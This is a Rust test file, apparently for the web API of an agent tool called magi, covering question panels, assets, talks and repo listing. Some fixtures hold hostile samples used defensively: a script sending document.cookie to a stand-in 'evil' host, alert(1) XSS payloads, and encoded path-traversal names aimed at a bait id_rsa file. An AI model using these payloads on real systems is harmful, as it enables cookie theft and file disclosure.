4643 async fn a_panel_reaches_the_browser_byte_for_byte() {
4644 let fx = Fixture::start().await;
4645 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
4650 let id = panel(&fx, html, &[]);
4651
4652 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
4653
4654 assert_eq!(res.status, 200);
4655 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
4656 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
4657 assert_eq!(
4658 res.header("content-disposition"),
4659 None,
4660 "the panel itself is rendered in the frame, not downloaded"
4661 );
4662 }
4663
4664 #[tokio::test]
4665 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
4666 let fx = Fixture::start().await;
4667 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
4668 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
4669 let id = panel(
4670 &fx,
4671 "<img src=\"diff.svg\"><img src=\"shot.png\">",
4672 &[("diff.svg", svg), ("shot.png", png)],
4673 );
4674
4675 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
4676 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
4677
4678 assert_eq!(as_svg.status, 200);
4679 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
4680 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
4685
4686 assert_eq!(as_png.status, 200);
4687 assert_eq!(as_png.header("content-type"), Some("image/png"));
4688 assert_eq!(
4689 as_png.header("content-disposition"),
4690 None,
4691 "a raster image has no execution surface, so tapping it still shows it"
4692 );
4693 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
4694 }
4695
4696 #[tokio::test]
4697 async fn an_html_asset_is_never_served_as_html() {
4698 let fx = Fixture::start().await;
4699 let id = panel(
4700 &fx,
4701 "<p>see the notes</p>",
4702 &[
4703 (
4704 "notes.html",
4705 b"<script>fetch('http://evil/'+document.cookie)</script>",
4706 ),
4707 ("hook.js", b"fetch('http://evil/')"),
4708 ("data.json", b"{}"),
4709 ("HEADLINE.TXT", b"plain"),
4710 ],
4711 );
4712
4713 for name in ["notes.html", "hook.js", "data.json"] {
4714 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
4715 assert_eq!(res.status, 200, "{name}: {}", res.body);
4716 assert_eq!(
4721 res.header("content-type"),
4722 Some("application/octet-stream"),
4723 "{name} must not be a type the browser will execute or render"
4724 );
4725 }
4726 let txt = fx
4729 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
4730 .await;
4731 assert_eq!(
4732 txt.header("content-type"),
4733 Some("text/plain; charset=utf-8")
4734 );
4735 }
4736
4737 #[tokio::test]
4738 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
4739 let fx = Fixture::start().await;
4740 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
4741 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
4745
4746 for encoded in [
4753 "%2e%2e%2fid_rsa",
4754 "..%2fid_rsa",
4755 "..%5cid_rsa",
4756 "%2e%2e%5cid_rsa",
4757 "diff%00.svg",
4758 "..",
4759 ".hidden",
4760 "%2e%2e%2f%2e%2e%2fid_rsa",
4761 ] {
4762 let res = fx
4763 .get(&format!("/api/questions/{id}/asset/{encoded}"))
4764 .await;
4765 assert_eq!(
4766 res.status, 400,
4767 "`{encoded}` has to be refused by name, not looked up: {}",
4768 res.body
4769 );
4770 assert!(res.json()["error"].is_string(), "{}", res.body);
4771 }
4772
4773 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
4779 let res = fx
4780 .get(&format!("/api/questions/{id}/asset/{literal}"))
4781 .await;
4782 assert_eq!(
4783 res.status, 404,
4784 "`{literal}` must not match the asset route at all: {}",
4785 res.body
4786 );
4787 }
4788 }
4789
4790 #[tokio::test]
4791 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
4792 let fx = Fixture::start().await;
4793 let plain = ask(&fx, "Which backend?", &["SQLite"]);
4794 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
4795
4796 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
4800 assert_eq!(none.status, 404, "{}", none.body);
4801 assert!(none.json()["error"].is_string(), "{}", none.body);
4802 assert_eq!(
4803 fx.head(&format!("/api/questions/{plain}/panel"))
4804 .await
4805 .status,
4806 404,
4807 "the preflight is the only way the client can learn this"
4808 );
4809
4810 let missing = fx
4812 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
4813 .await;
4814 assert_eq!(missing.status, 404, "{}", missing.body);
4815 assert!(missing.json()["error"].is_string(), "{}", missing.body);
4816
4817 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
4819 assert_eq!(
4820 fx.get("/api/questions/nope/asset/diff.svg").await.status,
4821 404
4822 );
4823 }
4824
4825 #[tokio::test]
4826 async fn a_run_with_an_open_question_reads_as_waiting() {
4827 let fx = Fixture::start().await;
4828 let run = "20260902-000000-beef".to_owned();
4829 write_run(&fx.runs(), &run, RunStatus::Implementing);
4830
4831 let before = fx.get("/api/runs").await.json();
4832 assert_eq!(before[0]["waiting"], false, "{before}");
4833
4834 let store = fx.questions();
4835 let mut q = Question::new(
4836 run.clone(),
4837 "implement".to_owned(),
4838 "impl-A".to_owned(),
4839 "Which backend?".to_owned(),
4840 String::new(),
4841 vec!["SQLite".to_owned()],
4842 );
4843 store.put(&mut q).expect("put");
4844
4845 let during = fx.get("/api/runs").await.json();
4846 assert_eq!(during[0]["waiting"], true, "{during}");
4847
4848 q.answer(Answer::Choice("SQLite".to_owned()))
4851 .expect("answer");
4852 store.put(&mut q).expect("put");
4853 let after = fx.get("/api/runs").await.json();
4854 assert_eq!(after[0]["waiting"], false, "{after}");
4855 }
4856
4857 #[tokio::test]
4858 async fn an_open_question_is_listed_and_counted_by_health() {
4859 let fx = Fixture::start().await;
4860 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
4861
4862 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4863 let listed = fx.get("/api/questions").await.json();
4864 assert_eq!(listed.as_array().expect("array").len(), 1);
4865 assert_eq!(listed[0]["id"], id);
4866 assert_eq!(listed[0]["status"], "open");
4867 assert_eq!(listed[0]["choices"][1], "Redis");
4868 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4871 }
4872
4873 #[tokio::test]
4874 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
4875 let fx = Fixture::start().await;
4876 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4877 let path = format!("/api/questions/{id}/answer");
4878
4879 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
4880 assert_eq!(res.status, 200, "{}", res.body);
4881 let body = res.json();
4882 assert_eq!(body["status"], "answered");
4883 assert_eq!(body["answer"]["choice"], "Redis");
4884
4885 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
4889 assert_eq!(again.status, 409, "{}", again.body);
4890 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
4891 }
4892
4893 #[tokio::test]
4894 async fn saying_something_appends_a_turn_without_answering() {
4895 let fx = Fixture::start().await;
4896 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4897 let path = format!("/api/questions/{id}/say");
4898
4899 let res = fx
4900 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
4901 .await;
4902 assert_eq!(res.status, 200, "{}", res.body);
4903 let body = res.json();
4904 assert_eq!(body["status"], "open", "talking back is not a decision");
4905 assert_eq!(body["answer"], Value::Null);
4906 assert_eq!(body["thread"][0]["who"], "operator");
4907 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
4908 assert_eq!(body["waiting_on_agent"], true);
4909 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4911 }
4912
4913 #[tokio::test]
4914 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
4915 let fx = Fixture::start().await;
4916 let store = fx.questions();
4917 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4918 assert_eq!(
4919 fx.get("/api/health").await.json()["questions_needs_owner"],
4920 1
4921 );
4922
4923 let res = fx
4929 .post(
4930 &format!("/api/questions/{id}/say"),
4931 Some(r#"{"body":"why not Postgres?"}"#),
4932 )
4933 .await;
4934 assert_eq!(res.status, 200, "{}", res.body);
4935 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4936 assert_eq!(
4937 fx.get("/api/health").await.json()["questions_needs_owner"],
4938 0,
4939 "waiting on the agent is not waiting on the owner"
4940 );
4941
4942 let mut q = store.get(&id).expect("get");
4946 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
4947 .expect("reply");
4948 store.put(&mut q).expect("put");
4949 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4950 assert_eq!(
4951 fx.get("/api/health").await.json()["questions_needs_owner"],
4952 1,
4953 "the agent's reply is what should light the banner back up"
4954 );
4955 }
4956
4957 #[tokio::test]
4958 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
4959 let fx = Fixture::start().await;
4960 let store = fx.questions();
4961
4962 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4963 let res = fx
4964 .post(
4965 &format!("/api/questions/{empty_id}/say"),
4966 Some(r#"{"body":" "}"#),
4967 )
4968 .await;
4969 assert_eq!(res.status, 400, "{}", res.body);
4970
4971 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4972 let mut answered = store.get(&answered_id).expect("get");
4973 answered
4974 .answer(Answer::Choice("SQLite".to_owned()))
4975 .expect("answer");
4976 store.put(&mut answered).expect("put");
4977 let res = fx
4978 .post(
4979 &format!("/api/questions/{answered_id}/say"),
4980 Some(r#"{"body":"still there?"}"#),
4981 )
4982 .await;
4983 assert_eq!(res.status, 409, "{}", res.body);
4984
4985 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4986 let mut abandoned = store.get(&abandoned_id).expect("get");
4987 abandoned.abandon("timed out");
4988 store.put(&mut abandoned).expect("put");
4989 let res = fx
4990 .post(
4991 &format!("/api/questions/{abandoned_id}/say"),
4992 Some(r#"{"body":"still there?"}"#),
4993 )
4994 .await;
4995 assert_eq!(res.status, 409, "{}", res.body);
4996 }
4997
4998 #[tokio::test]
4999 async fn an_answer_the_question_does_not_offer_is_refused() {
5000 let fx = Fixture::start().await;
5001 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5002 let path = format!("/api/questions/{id}/answer");
5003
5004 for body in [
5005 r#"{"choice":"Postgres"}"#,
5006 r#"{"text":"whatever you think"}"#,
5007 r#"{"choice":"Redis","text":"both"}"#,
5008 r#"{}"#,
5009 ] {
5010 let res = fx.post(&path, Some(body)).await;
5011 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
5012 assert!(res.json()["error"].is_string(), "{}", res.body);
5013 }
5014 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5016 }
5017
5018 #[tokio::test]
5019 async fn a_free_text_question_takes_text_and_not_a_choice() {
5020 let fx = Fixture::start().await;
5021 let id = ask(&fx, "What should the flag be called?", &[]);
5022 let path = format!("/api/questions/{id}/answer");
5023
5024 assert_eq!(
5025 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
5026 400
5027 );
5028 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
5029 assert_eq!(res.status, 200, "{}", res.body);
5030 assert_eq!(res.json()["answer"]["text"], "--json");
5031 }
5032
5033 #[tokio::test]
5034 async fn an_unknown_question_is_a_json_404() {
5035 let fx = Fixture::start().await;
5036 let res = fx
5037 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
5038 .await;
5039 assert_eq!(res.status, 404, "{}", res.body);
5040 assert!(res.json()["error"].is_string());
5041 }
5042
5043 #[tokio::test]
5050 async fn a_task_cannot_be_filed_over_the_phone_directly() {
5051 let f = Fixture::start().await;
5052
5053 let res = f
5054 .post(
5055 "/api/queue",
5056 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
5057 )
5058 .await;
5059
5060 assert_eq!(
5061 res.status, 405,
5062 "POST /api/queue must not be a route: {}",
5063 res.body
5064 );
5065 assert!(
5066 f.queue().list().is_empty(),
5067 "a task filed by a route that does not exist must not reach the disk"
5068 );
5069 assert_eq!(f.get("/api/queue").await.status, 200);
5072 }
5073
5074 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
5076 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
5077 .expect("checkout dir");
5078 }
5079
5080 #[tokio::test]
5081 async fn repos_list_returns_name_and_path_for_every_configured_root() {
5082 let tmp = TempDir::new().expect("tempdir");
5083 let repo = tmp.path().join("repo");
5084 std::fs::create_dir_all(&repo).expect("repo dir");
5085 let root = tmp.path().join("root");
5086 make_checkout(&root, "github.com", "yukimemi", "magi");
5087 std::fs::write(
5088 repo.join("magi.toml"),
5089 format!(
5090 "[repos]\nroots = [{:?}]\n",
5091 root.to_string_lossy().into_owned()
5092 ),
5093 )
5094 .expect("write magi.toml");
5095
5096 let f = Fixture::with_repo(repo).await;
5097 let res = f.get("/api/repos").await;
5098 assert_eq!(res.status, 200, "{}", res.body);
5099 let list = res.json();
5100 let repos = list.as_array().expect("an array");
5101 assert_eq!(repos.len(), 1);
5102 assert_eq!(repos[0]["name"], "yukimemi/magi");
5103 assert!(
5104 repos[0]["path"]
5105 .as_str()
5106 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
5107 "{list}"
5108 );
5109 }
5110
5111 #[tokio::test]
5112 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
5113 let tmp = TempDir::new().expect("tempdir");
5114 let repo = tmp.path().join("repo");
5115 std::fs::create_dir_all(&repo).expect("repo dir");
5116 let root = tmp.path().join("root");
5117 make_checkout(&root, "github.com", "yukimemi", "magi");
5118 std::fs::write(
5119 repo.join("magi.toml"),
5120 format!(
5121 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
5122 root.to_string_lossy().into_owned()
5123 ),
5124 )
5125 .expect("write magi.toml");
5126
5127 let f = Fixture::with_repo(repo).await;
5128 let first = f.get("/api/repos").await;
5129 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
5130
5131 make_checkout(&root, "github.com", "yukimemi", "rvpm");
5134 let second = f.get("/api/repos").await;
5135 assert_eq!(
5136 second.json().as_array().map(Vec::len),
5137 Some(1),
5138 "a fresh cache must not rescan inside the TTL"
5139 );
5140
5141 let refreshed = f.get("/api/repos?refresh=1").await;
5142 assert_eq!(
5143 refreshed.json().as_array().map(Vec::len),
5144 Some(2),
5145 "an explicit refresh must rescan even inside the TTL"
5146 );
5147 }
5148
5149 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
5155
5156 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
5160 let tmp = TempDir::new().expect("tempdir");
5161 let repo = tmp.path().join("repo");
5162 std::fs::create_dir_all(&repo).expect("repo dir");
5163 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5164 let f = Fixture::with_repo(repo.clone()).await;
5165 (tmp, repo, f)
5166 }
5167
5168 #[tokio::test]
5169 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
5170 let (_tmp, _repo, f) = talk_fixture().await;
5171
5172 let opened = f.post("/api/talks", None).await;
5175 assert_eq!(opened.status, 201, "{}", opened.body);
5176 let body = opened.json();
5177 assert_eq!(body["status"], "open");
5178 assert_eq!(
5179 body["turns"].as_array().unwrap().len(),
5180 0,
5181 "opening takes no agent turn: there is nothing yet to answer"
5182 );
5183
5184 let also_opened = f.post("/api/talks", Some("{}")).await;
5186 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
5187
5188 let listed = f.get("/api/talks").await.json();
5189 assert_eq!(listed.as_array().unwrap().len(), 2);
5190 }
5191
5192 #[tokio::test]
5193 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
5194 let f = Fixture::start().await;
5195 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
5196 let queue = f.queue();
5197 let mut mine = Task::new(
5198 "rename the loader".to_owned(),
5199 "rename the loader".to_owned(),
5200 PathBuf::from("/repo/magi"),
5201 Source::Agent {
5202 run: talk_id.clone(),
5203 node: "chat".to_owned(),
5204 },
5205 );
5206 queue.put(&mut mine).expect("file the task");
5207 let mut theirs = Task::new(
5208 "unrelated".to_owned(),
5209 "unrelated".to_owned(),
5210 PathBuf::from("/repo/magi"),
5211 Source::Human,
5212 );
5213 queue.put(&mut theirs).expect("file the task");
5214
5215 let res = f.get(&format!("/api/talks/{talk_id}")).await;
5216 assert_eq!(res.status, 200, "{}", res.body);
5217 let body = res.json();
5218 assert_eq!(
5219 body["status"], "open",
5220 "filing a task does not close a talk"
5221 );
5222 let tasks = body["tasks"].as_array().expect("tasks array");
5223 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
5224 assert_eq!(tasks[0]["id"], mine.id);
5225 }
5226
5227 #[tokio::test]
5228 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
5229 let (_tmp, _repo, f) = talk_fixture().await;
5230 let id = f.post("/api/talks", None).await.json()["id"]
5231 .as_str()
5232 .expect("id")
5233 .to_owned();
5234
5235 let res = f
5236 .post(
5237 &format!("/api/talks/{id}/say"),
5238 Some(r#"{"text":"what does the queue module do?"}"#),
5239 )
5240 .await;
5241 assert_eq!(res.status, 202, "{}", res.body);
5242 let queued = res.json();
5243 let turns = queued["turns"].as_array().expect("turns array");
5244 assert_eq!(
5245 turns.len(),
5246 1,
5247 "the answer reflects only what is on disk the instant it is sent, \
5248 before the agent's turn - which can run for the whole of \
5249 `[graph] timeout_talk` - has a chance to land: {queued}"
5250 );
5251 assert_eq!(turns[0]["who"], "operator");
5252 assert_eq!(turns[0]["body"], "what does the queue module do?");
5253 assert_eq!(
5254 queued["thinking"], true,
5255 "the accepted response exposes the background turn claim: {queued}"
5256 );
5257
5258 let mut turns_after = 1;
5259 for _ in 0..SETTLE_STEPS {
5260 let detail = f.get(&format!("/api/talks/{id}")).await.json();
5261 turns_after = detail["turns"].as_array().expect("turns array").len();
5262 if turns_after == 2 {
5263 break;
5264 }
5265 tokio::time::sleep(Duration::from_millis(10)).await;
5266 }
5267 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
5268 }
5269
5270 #[tokio::test]
5297 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
5298 let tmp = TempDir::new().expect("tempdir");
5299 let repo = tmp.path().join("repo");
5300 std::fs::create_dir_all(&repo).expect("repo dir");
5301 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5302 let home = TempDir::new().expect("temp home");
5303 let talks = Talks::at(home.path().join("talks"));
5304 let ui = Arc::new(
5305 Ui::new(
5306 Queue::at(home.path().join("queue")),
5307 Questions::at(home.path().join("questions")),
5308 talks.clone(),
5309 home.path().join("runs"),
5310 home.path().to_path_buf(),
5311 repo.clone(),
5312 )
5313 .with_worktrees_root(home.path().join("wt")),
5314 );
5315 let cfg = config_for(&repo).await.expect("discover config");
5316
5317 for delay in 0..40u32 {
5318 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
5319 let id = talk.id.clone();
5320
5321 let handler = tokio::spawn(talk_say(
5322 State(Arc::clone(&ui)),
5323 Path(id.clone()),
5324 Ok(Json(NewTalkTurn {
5325 text: "what does the queue module do?".to_owned(),
5326 attachments: Vec::new(),
5327 })),
5328 ));
5329 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
5330 handler.abort();
5331 let _ = handler.await;
5334
5335 let mut turns = 0;
5336 for _ in 0..SETTLE_STEPS {
5337 if let Ok(fresh) = talks.get(&id) {
5338 turns = fresh.turns.len();
5339 if turns != 1 {
5340 break;
5341 }
5342 }
5343 tokio::time::sleep(Duration::from_millis(10)).await;
5344 }
5345 assert_ne!(
5346 turns, 1,
5347 "delay {delay}: talk {id} recorded the operator's turn but \
5348 the agent never answered - the reply task was never \
5349 started after the handler future was dropped"
5350 );
5351 }
5352 }
5353
5354 #[tokio::test]
5376 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
5377 async fn drive<F: std::future::Future>(
5382 fut: &mut std::pin::Pin<Box<F>>,
5383 max_polls: usize,
5384 ) -> bool {
5385 if max_polls == 0 {
5386 return false;
5387 }
5388 let mut polls = 0usize;
5389 let mut ready = false;
5390 std::future::poll_fn(|cx| {
5391 polls += 1;
5392 match fut.as_mut().poll(cx) {
5393 std::task::Poll::Ready(_) => {
5394 ready = true;
5395 std::task::Poll::Ready(())
5396 }
5397 std::task::Poll::Pending if polls >= max_polls => std::task::Poll::Ready(()),
5398 std::task::Poll::Pending => std::task::Poll::Pending,
5399 }
5400 })
5401 .await;
5402 ready
5403 }
5404
5405 let tmp = TempDir::new().expect("tempdir");
5406 let repo = tmp.path().join("repo");
5407 std::fs::create_dir_all(&repo).expect("repo dir");
5408 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5409 let home = TempDir::new().expect("temp home");
5410 let talks = Talks::at(home.path().join("talks"));
5411 let ui = Arc::new(
5412 Ui::new(
5413 Queue::at(home.path().join("queue")),
5414 Questions::at(home.path().join("questions")),
5415 talks.clone(),
5416 home.path().join("runs"),
5417 home.path().to_path_buf(),
5418 repo.clone(),
5419 )
5420 .with_worktrees_root(home.path().join("wt")),
5421 );
5422 let cfg = config_for(&repo).await.expect("discover config");
5423
5424 for polls_after_release in 1..=3usize {
5425 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
5426 let id = talk.id.clone();
5427 let turn_guard = ui
5430 .begin_talk_turn(&id)
5431 .expect("claim the turn")
5432 .expect("a fresh talk owes nobody a turn");
5433
5434 let mut handler = Box::pin(talk_say(
5435 State(Arc::clone(&ui)),
5436 Path(id.clone()),
5437 Ok(Json(NewTalkTurn {
5438 text: "what does the queue module do?".to_owned(),
5439 attachments: Vec::new(),
5440 })),
5441 ));
5442 let done = drive(&mut handler, 4).await;
5452 tokio::time::sleep(Duration::from_millis(50)).await;
5453 let running = talks.get(&id).expect("reload talk");
5459 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
5460 if !done {
5463 drive(&mut handler, polls_after_release).await;
5464 }
5465 drop(handler);
5466
5467 let mut fresh = talks.get(&id).expect("reload talk");
5473 for _ in 0..SETTLE_STEPS {
5474 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
5475 break;
5476 }
5477 tokio::time::sleep(Duration::from_millis(10)).await;
5478 fresh = talks.get(&id).expect("reload talk");
5479 }
5480 assert!(
5481 fresh.pending.is_empty() && fresh.turns.len() == 2,
5482 "polls {polls_after_release}: talk {id} left the operator's \
5483 text queued with no drainer - the reclaimed turn was dropped \
5484 along with the handler future (pending {:?}, {} turns)",
5485 fresh.pending,
5486 fresh.turns.len()
5487 );
5488 }
5489 }
5490
5491 #[tokio::test]
5492 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
5493 let (_tmp, _repo, f) = talk_fixture().await;
5494 let id = f.post("/api/talks", None).await.json()["id"]
5495 .as_str()
5496 .expect("id")
5497 .to_owned();
5498 let store = f.talks();
5499 let mut recovered = store.get(&id).expect("opened talk");
5500 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
5501 .expect("persist pending draft without a live turn");
5502
5503 let edited = f
5504 .post(
5505 &format!("/api/talks/{id}/pending/edit"),
5506 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
5507 )
5508 .await;
5509 assert_eq!(edited.status, 200, "{}", edited.body);
5510 assert!(edited.json()["thinking"].as_bool().unwrap());
5511
5512 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
5513 for _ in 0..SETTLE_STEPS {
5514 if detail["turns"].as_array().expect("turns").len() == 2 {
5515 break;
5516 }
5517 tokio::time::sleep(Duration::from_millis(10)).await;
5518 detail = f.get(&format!("/api/talks/{id}")).await.json();
5519 }
5520 let turns = detail["turns"].as_array().expect("turns");
5521 assert_eq!(
5522 turns.len(),
5523 2,
5524 "the recovered draft must run once: {detail}"
5525 );
5526 assert_eq!(turns[0]["body"], "corrected");
5527 assert_eq!(detail["pending"], "");
5528 }
5529
5530 #[tokio::test]
5531 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
5532 let tmp = TempDir::new().expect("tempdir");
5533 let repo = tmp.path().join("repo");
5534 std::fs::create_dir_all(&repo).expect("repo dir");
5535 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
5536 let f = Fixture::with_repo(repo).await;
5537 let id = f.post("/api/talks", None).await.json()["id"]
5538 .as_str()
5539 .expect("id")
5540 .to_owned();
5541 let store = f.talks();
5542 let mut recovered = store.get(&id).expect("opened talk");
5543 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
5544 .expect("persist pending draft without a live turn");
5545
5546 let refused = f
5547 .post(
5548 &format!("/api/talks/{id}/say"),
5549 Some(r#"{"text":"new message"}"#),
5550 )
5551 .await;
5552 assert_eq!(refused.status, 409, "{}", refused.body);
5553 assert!(refused.body.contains("resume"), "{}", refused.body);
5554 let saved = store.get(&id).expect("draft remains after refusal");
5555 assert!(saved.turns.is_empty());
5556 assert_eq!(saved.pending, "saved before restart");
5557
5558 let say_path = format!("/api/talks/{id}/say");
5559 let (first, second) = tokio::join!(
5560 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
5561 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
5562 );
5563 assert_eq!(first.status, 409, "{}", first.body);
5564 assert_eq!(second.status, 409, "{}", second.body);
5565 let saved = store
5566 .get(&id)
5567 .expect("draft remains after concurrent refusals");
5568 assert!(saved.turns.is_empty());
5569 assert_eq!(saved.pending, "saved before restart");
5570
5571 let resumed = f
5572 .post(&format!("/api/talks/{id}/pending/resume"), None)
5573 .await;
5574 assert_eq!(resumed.status, 202, "{}", resumed.body);
5575 let duplicate = f
5576 .post(&format!("/api/talks/{id}/pending/resume"), None)
5577 .await;
5578 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
5579
5580 for _ in 0..SETTLE_STEPS {
5581 if store.get(&id).expect("talk").turns.len() == 2 {
5582 break;
5583 }
5584 tokio::time::sleep(Duration::from_millis(10)).await;
5585 }
5586 let finished = store.get(&id).expect("finished talk");
5587 assert_eq!(finished.turns.len(), 2, "{finished:?}");
5588 assert_eq!(finished.turns[0].body, "saved before restart");
5589 assert!(finished.pending.is_empty());
5590 }
5591
5592 #[tokio::test]
5593 async fn an_image_only_recovered_draft_resumes_without_text() {
5594 let (_tmp, _repo, f) = talk_fixture().await;
5595 let id = f.post("/api/talks", None).await.json()["id"]
5596 .as_str()
5597 .expect("id")
5598 .to_owned();
5599 let uploaded = f
5600 .post_bytes(
5601 &format!("/api/talks/{id}/attachments"),
5602 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
5603 PNG_BYTES,
5604 )
5605 .await;
5606 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
5607 let attachment = f
5608 .talks()
5609 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
5610 .expect("attachment metadata")
5611 .expect("stored attachment");
5612 let store = f.talks();
5613 let mut recovered = store.get(&id).expect("opened talk");
5614 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
5615
5616 let resumed = f
5617 .post(&format!("/api/talks/{id}/pending/resume"), None)
5618 .await;
5619 assert_eq!(resumed.status, 202, "{}", resumed.body);
5620 for _ in 0..SETTLE_STEPS {
5621 if store.get(&id).expect("talk").turns.len() == 2 {
5622 break;
5623 }
5624 tokio::time::sleep(Duration::from_millis(10)).await;
5625 }
5626 let finished = store.get(&id).expect("finished talk");
5627 assert_eq!(finished.turns.len(), 2, "{finished:?}");
5628 assert!(finished.turns[0].body.is_empty());
5629 assert_eq!(finished.turns[0].attachments.len(), 1);
5630 assert!(finished.pending_attachments.is_empty());
5631 }
5632
5633 #[tokio::test]
5634 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
5635 let (_tmp, _repo, f) = talk_fixture().await;
5636 let id = f.post("/api/talks", None).await.json()["id"]
5637 .as_str()
5638 .expect("id")
5639 .to_owned();
5640 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
5641 assert_eq!(closed.status, 200, "{}", closed.body);
5642 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
5643 .expect("serialize closed talk");
5644 for (path, body) in [
5645 (format!("/api/talks/{id}/pending/resume"), None),
5646 (
5647 format!("/api/talks/{id}/pending/clear"),
5648 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
5649 ),
5650 (
5651 format!("/api/talks/{id}/pending/edit"),
5652 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
5653 ),
5654 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
5655 ] {
5656 let response = f.post(&path, body).await;
5657 assert_eq!(response.status, 409, "{}", response.body);
5658 }
5659 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
5660 .expect("serialize closed talk");
5661 assert_eq!(
5662 after_clear, before_clear,
5663 "clear must not rewrite a closed talk"
5664 );
5665 }
5666
